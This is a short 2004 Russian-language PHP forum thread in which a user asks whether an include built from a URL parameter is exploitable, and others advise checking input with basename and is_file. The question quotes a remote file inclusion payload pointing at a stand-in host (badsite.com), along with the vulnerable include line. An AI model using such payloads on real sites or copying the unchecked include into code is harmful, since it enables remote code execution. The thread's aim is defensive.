Forum Webscript.Ru
Программирование => PHP => Тема начата: Nicca от 16 Августа 2004, 18:53:35
-
У меня есть такие строки в скрипте:
include(\'languages/\'.$lang.\'.php\');
где переменная $lang приходит из адресной строки. Реально ли мой скрипт взламать? Если да то как. Я пробовал подставлять в адр. строку: news.php?lang=http://badsite.com/1.php. Но вроде бы все нормально - выдает ошибку. Подскажите плз.
-
теоретически - возможно.
при определенных условиях
-
а подробнее можно? С примером.
-
а спину тебе вареньем не помазать?
-
Nicca:
У меня есть такие строки в скрипте:
include(\'languages/\'.$lang.\'.php\');
где переменная $lang приходит из адресной строки. Реально ли мой скрипт взламать?
"Не ищи черного добермана в темном сарае, особенно если он там есть" (с) не помню кто.
Привыкай, что все входные данные надо проверять. Ну или хотя бы фильтровать. Добавь в код [p]basename[/p] и сразу от многих проблем избавишься. Ну и чтобы было более правильно - можно еще проверять, существует ли файл - [p]is_file[/p]
-
[OFF]"Не ищи черного добермана в темном сарае, особенно если он там есть" (с) не помню кто.
Хех класс... Макс вспомни плз. кто - я себе на стенку повешу :)[/off]